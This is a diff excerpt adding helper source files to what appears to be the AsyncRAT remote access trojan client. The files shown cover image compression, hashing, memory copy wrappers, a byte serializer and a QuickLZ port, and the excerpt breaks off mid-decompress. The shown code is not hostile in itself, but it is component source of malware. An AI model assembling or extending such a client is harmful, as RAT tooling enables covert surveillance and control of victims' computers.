|
||||||
|
return ImageArrayOffsets;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public class ArrayOffset
|
||||||
|
{
|
||||||
|
public int BeginOffset { get; private set; }
|
||||||
|
public int EndOffset { get; private set; }
|
||||||
|
public int Stride { get; private set; }
|
||||||
|
public int X { get; private set; }
|
||||||
|
public int Y { get; private set; }
|
||||||
|
public int Width { get; private set; }
|
||||||
|
public int Height { get; private set; }
|
||||||
|
|
||||||
|
public ArrayOffset(int begin, int end, int Stride, int x, int y, int width, int height)
|
||||||
|
{
|
||||||
|
this.BeginOffset = begin;
|
||||||
|
this.EndOffset = end;
|
||||||
|
this.Stride = Stride;
|
||||||
|
this.X = x;
|
||||||
|
this.Y = y;
|
||||||
|
this.Width = width;
|
||||||
|
this.Height = height;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
52
AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs
Normal file
52
AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs
Normal file
@ -0,0 +1,52 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.src
|
||||||
|
{
|
||||||
|
public class JpgCompression
|
||||||
|
{
|
||||||
|
private EncoderParameter parameter;
|
||||||
|
private ImageCodecInfo encoderInfo;
|
||||||
|
private EncoderParameters encoderParams;
|
||||||
|
|
||||||
|
public JpgCompression(int Quality)
|
||||||
|
{
|
||||||
|
this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality);
|
||||||
|
this.encoderInfo = GetEncoderInfo("image/jpeg");
|
||||||
|
this.encoderParams = new EncoderParameters(2);
|
||||||
|
this.encoderParams.Param[0] = parameter;
|
||||||
|
this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)2);
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] Compress(Bitmap bmp)
|
||||||
|
{
|
||||||
|
using (MemoryStream stream = new MemoryStream())
|
||||||
|
{
|
||||||
|
bmp.Save(stream, encoderInfo, encoderParams);
|
||||||
|
return stream.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public void Compress(Bitmap bmp, ref Stream TargetStream)
|
||||||
|
{
|
||||||
|
bmp.Save(TargetStream, encoderInfo, encoderParams);
|
||||||
|
}
|
||||||
|
|
||||||
|
private ImageCodecInfo GetEncoderInfo(string mimeType)
|
||||||
|
{
|
||||||
|
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
|
||||||
|
int num2 = imageEncoders.Length - 1;
|
||||||
|
for (int i = 0; i <= num2; i++)
|
||||||
|
{
|
||||||
|
if (imageEncoders[i].MimeType == mimeType)
|
||||||
|
{
|
||||||
|
return imageEncoders[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
55
AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs
Normal file
55
AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs
Normal file
@ -0,0 +1,55 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.src
|
||||||
|
{
|
||||||
|
public class LzwCompression
|
||||||
|
{
|
||||||
|
private EncoderParameter parameter;
|
||||||
|
private ImageCodecInfo encoderInfo;
|
||||||
|
private EncoderParameters encoderParams;
|
||||||
|
|
||||||
|
public LzwCompression(int Quality)
|
||||||
|
{
|
||||||
|
this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality);
|
||||||
|
this.encoderInfo = GetEncoderInfo("image/jpeg");
|
||||||
|
this.encoderParams = new EncoderParameters(2);
|
||||||
|
this.encoderParams.Param[0] = parameter;
|
||||||
|
this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)EncoderValue.CompressionLZW);
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] Compress(Bitmap bmp, byte[] AdditionInfo = null)
|
||||||
|
{
|
||||||
|
using (MemoryStream stream = new MemoryStream())
|
||||||
|
{
|
||||||
|
if (AdditionInfo != null)
|
||||||
|
stream.Write(AdditionInfo, 0, AdditionInfo.Length);
|
||||||
|
bmp.Save(stream, encoderInfo, encoderParams);
|
||||||
|
return stream.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public void Compress(Bitmap bmp, Stream stream, byte[] AdditionInfo = null)
|
||||||
|
{
|
||||||
|
if (AdditionInfo != null)
|
||||||
|
stream.Write(AdditionInfo, 0, AdditionInfo.Length);
|
||||||
|
bmp.Save(stream, encoderInfo, encoderParams);
|
||||||
|
}
|
||||||
|
|
||||||
|
private ImageCodecInfo GetEncoderInfo(string mimeType)
|
||||||
|
{
|
||||||
|
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
|
||||||
|
for (int i = 0; i < imageEncoders.Length; i++)
|
||||||
|
{
|
||||||
|
if (imageEncoders[i].MimeType == mimeType)
|
||||||
|
{
|
||||||
|
return imageEncoders[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
62
AsyncRAT-C#/Client/StreamLibrary/src/MurmurHash2Unsafe.cs
Normal file
62
AsyncRAT-C#/Client/StreamLibrary/src/MurmurHash2Unsafe.cs
Normal file
@ -0,0 +1,62 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.src
|
||||||
|
{
|
||||||
|
public unsafe class MurmurHash2Unsafe
|
||||||
|
{
|
||||||
|
const UInt32 m = 0x5bd1e995;
|
||||||
|
const Int32 r = 24;
|
||||||
|
|
||||||
|
public unsafe UInt32 Hash(Byte* data, int length)
|
||||||
|
{
|
||||||
|
if (length == 0)
|
||||||
|
return 0;
|
||||||
|
UInt32 h = 0xc58f1a7b ^ (UInt32)length;
|
||||||
|
Int32 remainingBytes = length & 3; // mod 4
|
||||||
|
Int32 numberOfLoops = length >> 2; // div 4
|
||||||
|
UInt32* realData = (UInt32*)data;
|
||||||
|
while (numberOfLoops != 0)
|
||||||
|
{
|
||||||
|
UInt32 k = *realData;
|
||||||
|
k *= m;
|
||||||
|
k ^= k >> r;
|
||||||
|
k *= m;
|
||||||
|
|
||||||
|
h *= m;
|
||||||
|
h ^= k;
|
||||||
|
numberOfLoops--;
|
||||||
|
realData++;
|
||||||
|
}
|
||||||
|
switch (remainingBytes)
|
||||||
|
{
|
||||||
|
case 3:
|
||||||
|
h ^= (UInt16)(*realData);
|
||||||
|
h ^= ((UInt32)(*(((Byte*)(realData)) + 2))) << 16;
|
||||||
|
h *= m;
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
h ^= (UInt16)(*realData);
|
||||||
|
h *= m;
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
h ^= *((Byte*)realData);
|
||||||
|
h *= m;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Do a few final mixes of the hash to ensure the last few
|
||||||
|
// bytes are well-incorporated.
|
||||||
|
|
||||||
|
h ^= h >> 13;
|
||||||
|
h *= m;
|
||||||
|
h ^= h >> 15;
|
||||||
|
|
||||||
|
return h;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
22
AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs
Normal file
22
AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs
Normal file
@ -0,0 +1,22 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.src
|
||||||
|
{
|
||||||
|
public class NativeMethods
|
||||||
|
{
|
||||||
|
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||||
|
public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
|
||||||
|
|
||||||
|
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||||
|
public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count);
|
||||||
|
|
||||||
|
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||||
|
public static extern int memcpy(IntPtr dst, IntPtr src, uint count);
|
||||||
|
|
||||||
|
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||||
|
public static extern unsafe int memcpy(void* dst, void* src, uint count);
|
||||||
|
}
|
||||||
|
}
|
||||||
113
AsyncRAT-C#/Client/StreamLibrary/src/PayloadWriter.cs
Normal file
113
AsyncRAT-C#/Client/StreamLibrary/src/PayloadWriter.cs
Normal file
@ -0,0 +1,113 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.src
|
||||||
|
{
|
||||||
|
public class PayloadWriter : IDisposable
|
||||||
|
{
|
||||||
|
public Stream vStream { get; set; }
|
||||||
|
public PayloadWriter()
|
||||||
|
{
|
||||||
|
vStream = new MemoryStream();
|
||||||
|
}
|
||||||
|
public PayloadWriter(Stream stream)
|
||||||
|
{
|
||||||
|
vStream = stream;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void WriteBytes(byte[] value)
|
||||||
|
{
|
||||||
|
vStream.Write(value, 0, value.Length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void WriteBytes(byte[] value, int Offset, int Length)
|
||||||
|
{
|
||||||
|
vStream.Write(value, Offset, Length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void WriteInteger(int value)
|
||||||
|
{
|
||||||
|
WriteBytes(BitConverter.GetBytes(value));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// A integer with 3 bytes not 4
|
||||||
|
/// </summary>
|
||||||
|
public void WriteThreeByteInteger(int value)
|
||||||
|
{
|
||||||
|
WriteByte((byte)value);
|
||||||
|
WriteByte((byte)(value >> 8));
|
||||||
|
WriteByte((byte)(value >> 16));
|
||||||
|
}
|
||||||
|
|
||||||
|
public void WriteUInteger(uint value)
|
||||||
|
{
|
||||||
|
WriteBytes(BitConverter.GetBytes(value));
|
||||||
|
}
|
||||||
|
|
||||||
|
public void WriteShort(short value)
|
||||||
|
{
|
||||||
|
WriteBytes(BitConverter.GetBytes(value));
|
||||||
|
}
|
||||||
|
public void WriteUShort(ushort value)
|
||||||
|
{
|
||||||
|
WriteBytes(BitConverter.GetBytes(value));
|
||||||
|
}
|
||||||
|
public void WriteULong(ulong value)
|
||||||
|
{
|
||||||
|
WriteBytes(BitConverter.GetBytes(value));
|
||||||
|
}
|
||||||
|
|
||||||
|
public void WriteByte(byte value)
|
||||||
|
{
|
||||||
|
vStream.WriteByte(value);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void WriteBool(bool value)
|
||||||
|
{
|
||||||
|
WriteByte(value ? (byte)1 : (byte)0);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void WriteDouble(double value)
|
||||||
|
{
|
||||||
|
WriteBytes(BitConverter.GetBytes(value));
|
||||||
|
}
|
||||||
|
public void WriteLong(long value)
|
||||||
|
{
|
||||||
|
WriteBytes(BitConverter.GetBytes(value));
|
||||||
|
}
|
||||||
|
public void WriteFloat(float value)
|
||||||
|
{
|
||||||
|
WriteBytes(BitConverter.GetBytes(value));
|
||||||
|
}
|
||||||
|
public void WriteDecimal(decimal value)
|
||||||
|
{
|
||||||
|
BinaryWriter writer = new BinaryWriter(vStream);
|
||||||
|
writer.Write(value);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void WriteString(string value)
|
||||||
|
{
|
||||||
|
if (!(value == null))
|
||||||
|
WriteBytes(System.Text.Encoding.Unicode.GetBytes(value));
|
||||||
|
else
|
||||||
|
throw new NullReferenceException("value");
|
||||||
|
vStream.WriteByte(0);
|
||||||
|
vStream.WriteByte(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
public int Length
|
||||||
|
{
|
||||||
|
get { return (int)vStream.Length; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Dispose()
|
||||||
|
{
|
||||||
|
vStream.Close();
|
||||||
|
vStream.Dispose();
|
||||||
|
vStream = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
58
AsyncRAT-C#/Client/StreamLibrary/src/PointerHelper.cs
Normal file
58
AsyncRAT-C#/Client/StreamLibrary/src/PointerHelper.cs
Normal file
@ -0,0 +1,58 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.src
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// A helper class for pointers
|
||||||
|
/// </summary>
|
||||||
|
public class PointerHelper
|
||||||
|
{
|
||||||
|
private int _offset;
|
||||||
|
|
||||||
|
public IntPtr Pointer
|
||||||
|
{
|
||||||
|
get;
|
||||||
|
private set;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int TotalLength { get; private set; }
|
||||||
|
|
||||||
|
public int Offset
|
||||||
|
{
|
||||||
|
get { return _offset; }
|
||||||
|
set
|
||||||
|
{
|
||||||
|
if (value < 0)
|
||||||
|
throw new Exception("Offset must be >= 1");
|
||||||
|
|
||||||
|
if (value >= TotalLength)
|
||||||
|
throw new Exception("Offset cannot go outside of the reserved buffer space");
|
||||||
|
|
||||||
|
_offset = value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public PointerHelper(IntPtr pointer, int Length)
|
||||||
|
{
|
||||||
|
this.TotalLength = Length;
|
||||||
|
this.Pointer = pointer;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Copies data from Source to the current Pointer Offset
|
||||||
|
/// </summary>
|
||||||
|
public void Copy(IntPtr Source, int SourceOffset, int SourceLength)
|
||||||
|
{
|
||||||
|
if (CheckBoundries(this.Offset, SourceLength))
|
||||||
|
throw new AccessViolationException("Cannot write outside of the buffer space");
|
||||||
|
NativeMethods.memcpy(new IntPtr(this.Pointer.ToInt64() + Offset), new IntPtr(Source.ToInt64() + SourceOffset), (uint)SourceLength);
|
||||||
|
}
|
||||||
|
|
||||||
|
private bool CheckBoundries(int offset, int length)
|
||||||
|
{
|
||||||
|
return offset + length > TotalLength;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
487
AsyncRAT-C#/Client/StreamLibrary/src/SafeQuickLZ.cs
Normal file
487
AsyncRAT-C#/Client/StreamLibrary/src/SafeQuickLZ.cs
Normal file
@ -0,0 +1,487 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.src
|
||||||
|
{
|
||||||
|
// QuickLZ data compression library
|
||||||
|
// Copyright (C) 2006-2011 Lasse Mikkel Reinhold
|
||||||
|
// lar@quicklz.com
|
||||||
|
//
|
||||||
|
// QuickLZ can be used for free under the GPL 1, 2 or 3 license (where anything
|
||||||
|
// released into public must be open source) or under a commercial license if such
|
||||||
|
// has been acquired (see http://www.quicklz.com/order.html). The commercial license
|
||||||
|
// does not cover derived or ported versions created by third parties under GPL.
|
||||||
|
//
|
||||||
|
// Only a subset of the C library has been ported, namely level 1 and 3 not in
|
||||||
|
// streaming mode.
|
||||||
|
//
|
||||||
|
// Version: 1.5.0 final
|
||||||
|
|
||||||
|
public class SafeQuickLZ
|
||||||
|
{
|
||||||
|
public const int QLZ_VERSION_MAJOR = 1;
|
||||||
|
public const int QLZ_VERSION_MINOR = 5;
|
||||||
|
public const int QLZ_VERSION_REVISION = 0;
|
||||||
|
|
||||||
|
// Streaming mode not supported
|
||||||
|
public const int QLZ_STREAMING_BUFFER = 0;
|
||||||
|
|
||||||
|
// Bounds checking not supported Use try...catch instead
|
||||||
|
public const int QLZ_MEMORY_SAFE = 0;
|
||||||
|
|
||||||
|
// Decrease QLZ_POINTERS_3 to increase level 3 compression speed. Do not edit any other values!
|
||||||
|
private const int HASH_VALUES = 4096;
|
||||||
|
private const int MINOFFSET = 2;
|
||||||
|
private const int UNCONDITIONAL_MATCHLEN = 6;
|
||||||
|
private const int UNCOMPRESSED_END = 4;
|
||||||
|
private const int CWORD_LEN = 4;
|
||||||
|
private const int DEFAULT_HEADERLEN = 9;
|
||||||
|
private const int QLZ_POINTERS_1 = 1;
|
||||||
|
private const int QLZ_POINTERS_3 = 16;
|
||||||
|
|
||||||
|
private int headerLen(byte[] source, int offset)
|
||||||
|
{
|
||||||
|
return ((source[offset] & 2) == 2) ? 9 : 3;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int sizeDecompressed(byte[] source, int offset)
|
||||||
|
{
|
||||||
|
if (headerLen(source, offset) == 9)
|
||||||
|
return source[offset + 5] | (source[offset + 6] << 8) | (source[offset + 7] << 16) | (source[offset + 8] << 24);
|
||||||
|
else
|
||||||
|
return source[offset + 2];
|
||||||
|
}
|
||||||
|
|
||||||
|
public int sizeCompressed(byte[] source, int offset)
|
||||||
|
{
|
||||||
|
if (headerLen(source, offset) == 9)
|
||||||
|
return source[offset + 1] | (source[offset + 2] << 8) | (source[offset + 3] << 16) | (source[offset + 4] << 24);
|
||||||
|
else
|
||||||
|
return source[offset + 1];
|
||||||
|
}
|
||||||
|
|
||||||
|
private void write_header(byte[] dst, int level, bool compressible, int size_compressed, int size_decompressed)
|
||||||
|
{
|
||||||
|
dst[0] = (byte)(2 | (compressible ? 1 : 0));
|
||||||
|
dst[0] |= (byte)(level << 2);
|
||||||
|
dst[0] |= (1 << 6);
|
||||||
|
dst[0] |= (0 << 4);
|
||||||
|
fast_write(dst, 1, size_decompressed, 4);
|
||||||
|
fast_write(dst, 5, size_compressed, 4);
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] compress(byte[] source, int Offset, int Length, int level)
|
||||||
|
{
|
||||||
|
int src = Offset;
|
||||||
|
int dst = DEFAULT_HEADERLEN + CWORD_LEN;
|
||||||
|
uint cword_val = 0x80000000;
|
||||||
|
int cword_ptr = DEFAULT_HEADERLEN;
|
||||||
|
byte[] destination = new byte[Length + 400];
|
||||||
|
int[,] hashtable;
|
||||||
|
int[] cachetable = new int[HASH_VALUES];
|
||||||
|
byte[] hash_counter = new byte[HASH_VALUES];
|
||||||
|
byte[] d2;
|
||||||
|
int fetch = 0;
|
||||||
|
int last_matchstart = (Length - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1);
|
||||||
|
int lits = 0;
|
||||||
|
|
||||||
|
if (level != 1 && level != 3)
|
||||||
|
throw new ArgumentException("C# version only supports level 1 and 3");
|
||||||
|
|
||||||
|
if (level == 1)
|
||||||
|
hashtable = new int[HASH_VALUES, QLZ_POINTERS_1];
|
||||||
|
else
|
||||||
|
hashtable = new int[HASH_VALUES, QLZ_POINTERS_3];
|
||||||
|
|
||||||
|
if (Length == 0)
|
||||||
|
return new byte[0];
|
||||||
|
|
||||||
|
if (src <= last_matchstart)
|
||||||
|
fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
|
||||||
|
|
||||||
|
while (src <= last_matchstart)
|
||||||
|
{
|
||||||
|
if ((cword_val & 1) == 1)
|
||||||
|
{
|
||||||
|
if (src > Length >> 1 && dst > src - (src >> 5))
|
||||||
|
{
|
||||||
|
d2 = new byte[Length + DEFAULT_HEADERLEN];
|
||||||
|
write_header(d2, level, false, Length, Length + DEFAULT_HEADERLEN);
|
||||||
|
System.Array.Copy(source, 0, d2, DEFAULT_HEADERLEN, Length);
|
||||||
|
return d2;
|
||||||
|
}
|
||||||
|
|
||||||
|
fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4);
|
||||||
|
cword_ptr = dst;
|
||||||
|
dst += CWORD_LEN;
|
||||||
|
cword_val = 0x80000000;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (level == 1)
|
||||||
|
{
|
||||||
|
int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
|
||||||
|
int o = hashtable[hash, 0];
|
||||||
|
int cache = cachetable[hash] ^ fetch;
|
||||||
|
cachetable[hash] = fetch;
|
||||||
|
hashtable[hash, 0] = src;
|
||||||
|
|
||||||
|
if (cache == 0 && hash_counter[hash] != 0 && (src - o > MINOFFSET || (src == o + 1 && lits >= 3 && src > 3 && source[src] == source[src - 3] &&
|
||||||
|
source[src] == source[src - 2] && source[src] == source[src - 1] &&
|
||||||
|
source[src] == source[src + 1] && source[src] == source[src + 2])))
|
||||||
|
{
|
||||||
|
cword_val = ((cword_val >> 1) | 0x80000000);
|
||||||
|
if (source[o + 3] != source[src + 3])
|
||||||
|
{
|
||||||
|
int f = 3 - 2 | (hash << 4);
|
||||||
|
destination[dst + 0] = (byte)(f >> 0 * 8);
|
||||||
|
destination[dst + 1] = (byte)(f >> 1 * 8);
|
||||||
|
src += 3;
|
||||||
|
dst += 2;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
int old_src = src;
|
||||||
|
int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1));
|
||||||
|
|
||||||
|
src += 4;
|
||||||
|
if (source[o + src - old_src] == source[src])
|
||||||
|
{
|
||||||
|
src++;
|
||||||
|
if (source[o + src - old_src] == source[src])
|
||||||
|
{
|
||||||
|
src++;
|
||||||
|
while (source[o + (src - old_src)] == source[src] && (src - old_src) < remaining)
|
||||||
|
src++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int matchlen = src - old_src;
|
||||||
|
|
||||||
|
hash <<= 4;
|
||||||
|
if (matchlen < 18)
|
||||||
|
{
|
||||||
|
int f = (hash | (matchlen - 2));
|
||||||
|
destination[dst + 0] = (byte)(f >> 0 * 8);
|
||||||
|
destination[dst + 1] = (byte)(f >> 1 * 8);
|
||||||
|
dst += 2;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
fast_write(destination, dst, hash | (matchlen << 16), 3);
|
||||||
|
dst += 3;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
|
||||||
|
lits = 0;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
lits++;
|
||||||
|
hash_counter[hash] = 1;
|
||||||
|
destination[dst] = source[src];
|
||||||
|
cword_val = (cword_val >> 1);
|
||||||
|
src++;
|
||||||
|
dst++;
|
||||||
|
fetch = ((fetch >> 8) & 0xffff) | (source[src + 2] << 16);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
|
||||||
|
|
||||||
|
int o, offset2;
|
||||||
|
int matchlen, k, m, best_k = 0;
|
||||||
|
byte c;
|
||||||
|
int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1));
|
||||||
|
int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
|
||||||
|
|
||||||
|
c = hash_counter[hash];
|
||||||
|
matchlen = 0;
|
||||||
|
offset2 = 0;
|
||||||
|
for (k = 0; k < QLZ_POINTERS_3 && c > k; k++)
|
||||||
|
{
|
||||||
|
o = hashtable[hash, k];
|
||||||
|
if ((byte)fetch == source[o] && (byte)(fetch >> 8) == source[o + 1] && (byte)(fetch >> 16) == source[o + 2] && o < src - MINOFFSET)
|
||||||
|
{
|
||||||
|
m = 3;
|
||||||
|
while (source[o + m] == source[src + m] && m < remaining)
|
||||||
|
m++;
|
||||||
|
if ((m > matchlen) || (m == matchlen && o > offset2))
|
||||||
|
{
|
||||||
|
offset2 = o;
|
||||||
|
matchlen = m;
|
||||||
|
best_k = k;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
o = offset2;
|
||||||
|
hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src;
|
||||||
|
c++;
|
||||||
|
hash_counter[hash] = c;
|
||||||
|
|
||||||
|
if (matchlen >= 3 && src - o < 131071)
|
||||||
|
{
|
||||||
|
int offset = src - o;
|
||||||
|
|
||||||
|
for (int u = 1; u < matchlen; u++)
|
||||||
|
{
|
||||||
|
fetch = source[src + u] | (source[src + u + 1] << 8) | (source[src + u + 2] << 16);
|
||||||
|
hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
|
||||||
|
c = hash_counter[hash]++;
|
||||||
|
hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src + u;
|
||||||
|
}
|
||||||
|
|
||||||
|
src += matchlen;
|
||||||
|
cword_val = ((cword_val >> 1) | 0x80000000);
|
||||||
|
|
||||||
|
if (matchlen == 3 && offset <= 63)
|
||||||
|
{
|
||||||
|
fast_write(destination, dst, offset << 2, 1);
|
||||||
|
dst++;
|
||||||
|
}
|
||||||
|
else if (matchlen == 3 && offset <= 16383)
|
||||||
|
{
|
||||||
|
fast_write(destination, dst, (offset << 2) | 1, 2);
|
||||||
|
dst += 2;
|
||||||
|
}
|
||||||
|
else if (matchlen <= 18 && offset <= 1023)
|
||||||
|
{
|
||||||
|
fast_write(destination, dst, ((matchlen - 3) << 2) | (offset << 6) | 2, 2);
|
||||||
|
dst += 2;
|
||||||
|
}
|
||||||
|
else if (matchlen <= 33)
|
||||||
|
{
|
||||||
|
fast_write(destination, dst, ((matchlen - 2) << 2) | (offset << 7) | 3, 3);
|
||||||
|
dst += 3;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
fast_write(destination, dst, ((matchlen - 3) << 7) | (offset << 15) | 3, 4);
|
||||||
|
dst += 4;
|
||||||
|
}
|
||||||
|
lits = 0;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
destination[dst] = source[src];
|
||||||
|
cword_val = (cword_val >> 1);
|
||||||
|
src++;
|
||||||
|
dst++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
while (src <= Length - 1)
|
||||||
|
{
|
||||||
|
if ((cword_val & 1) == 1)
|
||||||
|
{
|
||||||
|
fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4);
|
||||||
|
cword_ptr = dst;
|
||||||
|
dst += CWORD_LEN;
|
||||||
|
cword_val = 0x80000000;
|
||||||
|
}
|
||||||
|
|
||||||
|
destination[dst] = source[src];
|
||||||
|
src++;
|
||||||
|
dst++;
|
||||||
|
cword_val = (cword_val >> 1);
|
||||||
|
}
|
||||||
|
while ((cword_val & 1) != 1)
|
||||||
|
{
|
||||||
|
cword_val = (cword_val >> 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), CWORD_LEN);
|
||||||
|
write_header(destination, level, true, Length, dst);
|
||||||
|
d2 = new byte[dst];
|
||||||
|
System.Array.Copy(destination, d2, dst);
|
||||||
|
return d2;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private void fast_write(byte[] a, int i, int value, int numbytes)
|
||||||
|
{
|
||||||
|
for (int j = 0; j < numbytes; j++)
|
||||||
|
a[i + j] = (byte)(value >> (j * 8));
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] decompress(byte[] source, int Offset, int Length)
|
||||||
|
{
|
||||||
|
int level;
|
||||||
|
int size = sizeDecompressed(source, Offset);
|
||||||
|
int src = headerLen(source, Offset) + Offset;
|
||||||
|
int dst = 0;
|
||||||
|
uint cword_val = 1;
|
||||||
|
byte[] destination = new byte[size];
|
||||||
|
int[] hashtable = new int[4096];
|
||||||
|
byte[] hash_counter = new byte[4096];
|
||||||
|
int last_matchstart = size - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1;
|
||||||
|
int last_hashed = -1;
|
||||||
|
int hash;
|
||||||
|
uint fetch = 0;
|
||||||
|
|
||||||
|
level = (source[Offset] >> 2) & 0x3;
|
||||||
|
|
||||||
|
if (level != 1 && level != 3)
|
||||||
|
throw new ArgumentException("C# version only supports level 1 and 3");
|
||||||
|
|
||||||
|
if ((source[Offset] & 1) != 1)
|
||||||
|
{
|
||||||
|
byte[] d2 = new byte[size];
|
||||||
|
System.Array.Copy(source, headerLen(source, Offset), d2, Offset, size);
|
||||||
|
return d2;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (; ; )
|
||||||
|
{
|
||||||
|
if (cword_val == 1)
|
||||||
|
{
|
||||||
|
cword_val = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
|
||||||
|
src += 4;
|
||||||
|
if (dst <= last_matchstart)
|
||||||
|
{
|
||||||
|
if (level == 1)
|
||||||
|
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16));
|
||||||
|
else
|
||||||
|
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((cword_val & 1) == 1)
|
||||||
|
{
|
||||||
|
